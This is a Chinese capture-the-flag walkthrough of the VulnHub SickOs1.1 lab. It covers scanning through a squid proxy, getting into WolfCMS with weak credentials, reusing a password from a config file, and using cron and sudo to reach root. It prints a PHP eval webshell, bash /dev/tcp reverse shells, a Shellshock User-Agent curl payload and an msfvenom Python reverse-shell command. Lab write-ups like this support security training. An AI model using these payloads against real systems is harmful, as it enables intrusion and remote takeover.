红队渗透靶场之SickOs1.1

news2024/11/15 8:30:17

靶场考察知识

shellshock漏洞

shellshock即unix系统下的bash shell的一个漏洞, Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞, 向环境变量值内的函数定义后添加多余的字符串会触发此漏洞, 攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统

bash使用的环境变量是通过函数名称来调用的,以"(){"开头通过环境变量来定义,而在处理这样的恶意的函数环境变量时,并没有以函数结尾 “}” 为结束,而是执行其后的恶意shell命令

执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理


Linux计划任务提权

重点查看以下计划任务文件是否有可提权的操作

  • /etc/crontab

  • /etc/cron.d/*

  • /etc/cron.daily/*

  • /etc/cron.hourly/*

  • /etc/cron.monthly/*

  • /etc/cron.weekly/


数据库配置文件泄露

通常在网站的根目录或者config目录会保存着数据库配置文件, 此文件存有数据库用户的相关信息, 可能会对后续用户的登录爆破起到至关重要的作用


靶场搭建

SickOS靶场的下载地址: https://download.vulnhub.com/sickos/sick0s1.1.7z


渗透步骤

信息收集

1.确定目标IP

扫描C段存活主机: nmap -sn 192.168.47.0/24 , 确定SickOs的靶机IP为192.168.47.157

image-20221127183242830


2.端口扫描

分别使用TCP和UDP扫描目标主机的开放端口, 扫描结果显示目标主机开放了2231288080端口, 目标主机的系统为LINUX, 其中3128端口为squid代理服务

nmap -sV --min-rate 10000 -p- 192.168.47.157 #nmap默认使用TCP扫描
nmap -sU -p22,3128,8080 192.168.47.157 

image-20221127183923885

image-20221127183948301


使用nmap自带的web漏扫脚本进行扫描, 没有发现漏洞

nmap --script=vuln -p22,3128,8080 192.168.47.157

image-20221127184235518


访问http://192.168.47.157:3128, 页面爆出squid及其版本号3.1.19, 通过搜索引擎得知, squid是一个代理服务器和Web缓存服务器, 主要用于Unix一类系统使用

image-20221203171730245


3.目录爆破

使用dirsearch对代理服务器http://192.168.47.157:3128进行爆破, 没有结果

image-20221203172246147


既然192.168.47.157:3128是一个代理服务器, 那就尝试用它来作为目录爆破工具的代理参数来对http://192.168.47.157进行扫描, 扫描结果如下图所示

image-20221203172417589


浏览器设置代理访问http://192.168.47.157, 页面显示"BLEHHH"

image-20221203172712811

image-20221203172745668


访问http://192.168.47.157/robots.txt, 页面提示此网站的cms为wolfcms

image-20221203172929093


尝试访问wolfcms目录: http://192.168.47.157/wolfcms/, 很幸运访问成功了, 从页面信息来看, 这像是一个博客网站, 既然是博客网站, 那么肯定有编辑文章的接口, 通常要使用此接口需要网站管理员权限, 那么接下来就要找到网站的后台地址

image-20221204111821234


通过搜索引擎搜索关于wolfcms的后台路径, 尝试访问/?/admin目录 ,成功爆出网站后台登录页面

image-20221204112324601

1


Web渗透

1.写入webshell

关于获取后台密码可以使用爆破或者弱口令, 此处很幸运使用了弱口令admin/admin就能直接登录进后台, 登录进后台后可以看到一些编辑文章的接口

image-20221204121605758


选取标题为Articles的页面进行编辑, 在其源码的基础上添加上一行webshell代码:<?php @eval($POST[123]);?>

image-20221204122836780


根据上述页面的源码输出内容, 可查找出此页面的网页路径为: http://192.168.47.157/wolfcms/?articles.html

image-20221204123245663


打开蚁剑并为其配置代理: http://192.168.47.157:3128

image-20221204123456992


连接webshell, url地址为http://192.168.47.157/wolfcms/?articles.html, 连接密码为123

1

image-20221204123746461


2.写入反弹Shell

在Atricles的编辑页面处添加上一行php反弹shell代码:<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.47.155/4444 0>&1'");?>

image-20221204124501786


kali监听本机的4444端口, 然后点击Atricles页面触发反弹shell代码

动画


主机渗透

1.获取主机基本信息

收集目标主机的基本信息, 确定目标系统为linux 32位, 当前shell的用户名为www-data, 该用户没有root权限

www-data用户通常用于前端与后端的数据交互

image-20221204131005875


2.发现网站配置文件

查看当前目录的文件, 发现一个疑似网站配置文件config.php, 通常此类文件存储着数据库用户的账号密码

image-20221204191532871


查看该配置文件的内容, 发现数据库root用户的密码为john@123

image-20221204191621629


3.尝试登录root权限的用户

查看etc/passwd文件, 像这里root、backup、sickos这些拥有bash环境的用户都要尝试使用上述的密码进行登录, 毕竟有时候网站的管理员会将数据库的密码和系统主机的密码设置成相同的

image-20221204192205930


经过多次登录尝试后, 只有sickos用户登录成功

image-20221204194853025


输入sudo -l, 查看当前用户权限为(ALL; ALL;ALL), 即拥有root用户权限

image-20221204195029516


4.获取flag

执行sudo /bin/bash提权, 随后获取flag

image-20221204195237538


另外一种渗透思路

1.nikto漏洞扫描

使用nikto对靶机进行漏洞扫描, 发现在网站的cgi-bin/status目录下疑似存在ShellShock漏洞

nikto -h 192.168.47.157 -useproxy http://192.168.47.157:3128

1


2.ShellShock漏洞利用

尝试使用ShellShock漏洞的exp, 执行whoami命令, 页面输出命令的执行结果

curl --proxy http://192.168.47.157:3128 -H "User-Agent:() { :;};echo;/usr/bin/whoami" http://192.168.47.157/cgi-bin/status

image-20221205155244611


kali监听本机的4444端口, 利用ShellShock漏洞远程执行反弹shell命令

curl --proxy http://192.168.47.157:3128 -H "User-Agent:() { :;};/bin/bash -i >& /dev/tcp/192.168.47.157/4444 0>&1" http://192.168.47.157/cgi-bin/status

image-20221205160336437

image-20221205160342337


3.主机基本信息收集

查看目标主机是否安装了python: dpkg -l | grep "python", 可以发现目标主机只安装了python2

image-20221205160640147


4.计划任务提权

查看/etc/crontab, 没有可利用的计划任务

image-20221205163002904


再查看/etc/cron.d/目录下的文件, 发现automate文件有一条计划任务似乎可以利用, 此计划任务的内容是, 让root用户每分钟使用python命令执行/var/www/connect.py文件, 也就是说若我们在connect.py写入python反弹shell代码, 则可获取一个root用户的shell

image-20221205163707636


使用metasploit生成python的反弹shell代码

msfvenom -p cmd/unix/reverse_python lhost=192.168.47.155 lport=443 -f raw

image-20221205164015113


将上述的python代码粘贴到/var/www/connect.py, 在非交互性Shell的环境执行vim命令, 有些操作可能会比较诡异, 例如你不能上下左右的移动光标。首先输入o进入插入模式后(插入新的一行), 然后复制粘贴, 再按右上角的ESC+wq, 最后再按回车键

动画


再次查看connect.py, 可以发现反弹shell代码已经粘贴上去了

image-20221205182054873


随后在kali开启nc监听本机的443端口, 一分钟后kali接收到root权限的shell

image-20221205182359197

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/67193.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Notepad++ ,json 、xml 格式化插件安装不了 和 github 网站访问不了 最佳解决方案

文章目录1.背景&#xff1a;2. 解决方法&#xff1a;方法一&#xff1a;修改hosts方法二&#xff1a; 通过 Watt Toolkit 加速1.简介&#xff1a;2.安装步骤&#xff1a;1.背景&#xff1a; 最近notpad 安装 JSON 和 xml 格式化工具安装不上&#xff0c;发现插件的地址 github…

docker之数据卷(Data Volumes)dockerfile

这里写目录标题宿主机与容器之间的文件拷贝数据卷数据卷容器Dockerfile自定义centos&#xff0c;具备vim及ifconfig作用&#xff08;体会学习Dockerfile的意义&#xff09;自定义tomcat8&#xff08;熟悉几乎所有的Dockerfile命令&#xff09;宿主机与容器之间的文件拷贝 引言…

故障分析 | Greenplum 集群 standby 故障处理

作者&#xff1a;杨文 DBA&#xff0c;负责客户项目的需求与维护&#xff0c;没有擅长&#xff0c;会点数据库&#xff0c;不限于MySQL、Redis、Cassandra、GreenPlum、ClickHouse、Elastic、TDSQL等等。 本文来源&#xff1a;原创投稿 *爱可生开源社区出品&#xff0c;原创内容…

SM4分组密码算法

对称加密算法SM4SM4算法介绍一、SM4加密流程二、轮函数F1.合成置换T3.非线性变换τ2.线性变换L4.加密的结果总结SM4算法介绍 SM4.0于2013年3月被列为国家密码行业标准“GM/T 0002-2012《SM4分组密码算法》&#xff08;原SMS4分组密码算法&#xff09;”。2016年被列入国家标准…

blender assetBrowser 资产浏览器

文章目录简介.基础操作打开资产浏览器.标记资产.资产库位置设置与加载其他工程的资产库.为资产设置分类.设置资产的属性.根据类型筛选资产.标记材质为资产.标记天空盒材质为资产.标记动作为资产.简介. 1 类似于unity的预制体&#xff0c;可以直接从资产浏览器里拖出来 2 创建时…

什么是缓存架构,什么是后端分布式多级缓存架构,全文解析带你了解其中门道

文章目录浏览器缓存客户端缓存CDN缓存反向代理缓存本地缓存分布式缓存其他&#xff1a;缓存命中率缓存问题&#xff1a;缓存穿透缓存问题&#xff1a;缓存击穿缓存问题&#xff1a;缓存雪崩缓存问题&#xff1a;缓存一致性缓存的其他问题开篇01数据库缓存1.1.MySQL查询缓存1.2.…

CAS登录认证

CAS最基本的协议过程&#xff1a; 名词解释 Ticket Grangting Ticket(TGT) &#xff1a; TGT是CAS为用户签发的登录票据&#xff0c;拥有了TGT&#xff0c;用户就可以证明自己在CAS成功登录过。TGT封装了Cookie值以及此Cookie值对应的用户信息。用户在CAS认证成功后&#xff0c…

应用于供暖、供水管道等场景的一种智能控制阀

智能控制阀&#xff0c;顾名思义就是能够实现智能化控制功能的一种控制阀。它有什么用处呢&#xff1f; TSM-04V无线智能控制阀由锂亚电池供电、超长续航&#xff0c;具有无线远程配置功能&#xff0c;是一种高可靠性阀控设备。自带断码显示屏&#xff0c;可以查看设备的电量、…

在VScode中使用Jupyter Notebook的一些技巧

目录 一、VScode中Jupyter Notebook的优点 二、Cell命令模式目前支持的Jupyter Notebook快捷 三、Cell编辑模式下支持的Vscode快捷键&#xff08;只描述与编辑相关的那些快捷键&#xff09;​​​​​​​ 一、VScode中Jupyter Notebook的优点 1.写py代码和使用Notebook经常…

DBCO-SS-Mal,DBCO-SS-Maleimide,马来酰亚胺衍生物试剂特点分析

一、基础产品数据&#xff08;Basic Product Data&#xff09;&#xff1a; CAS号&#xff1a;N/A 中文名&#xff1a;二苯并环辛炔-二硫键-马来酰亚胺 英文名&#xff1a;DBCO-SS-Maleimide&#xff0c;DBCO-SS-Mal二、详细产品数据&#xff08;Detailed Product Data&#xf…

aws 整理和理解aws的虚拟化技术

资料 Introduce_to_virtualizationKVM I/O虚拟化AWS EC2 Virtualization 2017: Introducing Nitro从AWS转向KVM&#xff0c;再看KVM与XEN的技术路线之争 简单整理并了解下和aws相关的虚拟化技术 虚拟化技术 相关概念 Hypervisor Hypervisor是一种运行在物理服务器和操作系…

一文彻底搞懂什么是SSH中间人攻击(Man-in-the-middle attack)

文章目录【1】背景【2】中间人攻击原理登录报错信息提示从首次登录服务器说起中间人攻击原理重装服务器导致ssh无法登录的解决方案【3】如何避免中间人攻击&#xff1f;【4】什么是Known_hosts &#xff1f;known_hosts中的文件来自哪里&#xff1f;这个/etc/ssh/ssh_host_ecds…

gcc内联汇编

1. 介绍 用汇编编写的程序虽然运行速度快&#xff0c;但开发速度非常慢&#xff0c;效率也很低。如果只是想对关键代码段进行优化&#xff0c;或许更好的办法是将汇编指令嵌入到 C 语言程序中&#xff0c;从而充分利用高级语言和汇编语言各自的特点。但一般来讲&#xff0c;在…

华为机试_HJ81 字符串字符匹配【简单】【收藏!】

目录 描述 输入描述&#xff1a; 输出描述&#xff1a; 解题过程 提交代码 学习代码 收藏点 一、strstr函数 二、stdlib.h 描述 判断短字符串S中的所有字符是否在长字符串T中全部出现。 请注意本题有多组样例输入。 数据范围:1≤len(S),len(T)≤200 进阶&#xf…

如何解决“德语/文”等外文字符显示乱码问题

目录 1“德文/语字符”等外文显示乱码原因 2 如何解决“德文/语字符”等外文显示乱码 2.1 使用支持多个“编码”切换的工具打开该文本 2.2 使用变音字符的标准ASCII字符 2.3 将计算机系统切换至西欧编码 3 结尾 1“德文/语字符”等外文显示乱码原因 以德文/语为例&#…

vue3(二)

前一篇讲了 vue3的生命周期钩子的使用。 本节接着讲 vue3的数据通信。 provide/inject 依赖注入 App.vue <script setup lang"ts"> import { ref, provide } from vue import List from ./components/List.vue import User from ./components/User.vue impo…

知识点8--Docker镜像的秘密

前面的知识点我们介绍了docker的日常使用&#xff0c;但其实docker存在的核心意义是交付环境&#xff0c;也就是镜像&#xff0c;本片知识点带大家了解一下镜像的秘密。 镜像本身是一种轻量级、可执行的独立软件包&#xff0c;它包含运行某个软件所需的所有内容&#xff0c;包…

【Tensorflow学习二】神经网络优化方法学习率、激活函数、损失函数、正则化

文章目录预备知识tf.wheretf.random.RandomState.rand() 返回一个[0,1)之间的随机数np.vstack() 将数组按照垂直方向叠加np.mgrid[ ] np.ravel( ) np.c_[ ] 一起使用可以生成网格坐标点复杂度、学习率复杂度指数衰减学习率激活函数Sigmoid激活函数Tanh激活函数ReLu激活函数Leak…

今天面了个00后测试员,让我见识到了内卷届的天花板

深耕IT行业多年&#xff0c;我们发现&#xff0c;对于一个程序员而言&#xff0c;能去到一线互联网公司&#xff0c;会给我们以后的发展带来多大的影响。 很多人想说&#xff0c;这个我也知道&#xff0c;但是进大厂实在是太难了&#xff0c;简历投出去基本石沉大海&#xff0…

Linux安装KVM

一、虚拟化技术 1、全虚拟化和半虚拟化技术 如果给KVM、XEN简单归类的话&#xff0c;KVM是完全虚拟化技术又叫硬件辅助虚拟化技术&#xff08;Full Virtualization)。相反&#xff0c;XEN是半虚拟化技术&#xff08;paravirtualization&#xff09;&#xff0c;也叫做准虚拟化…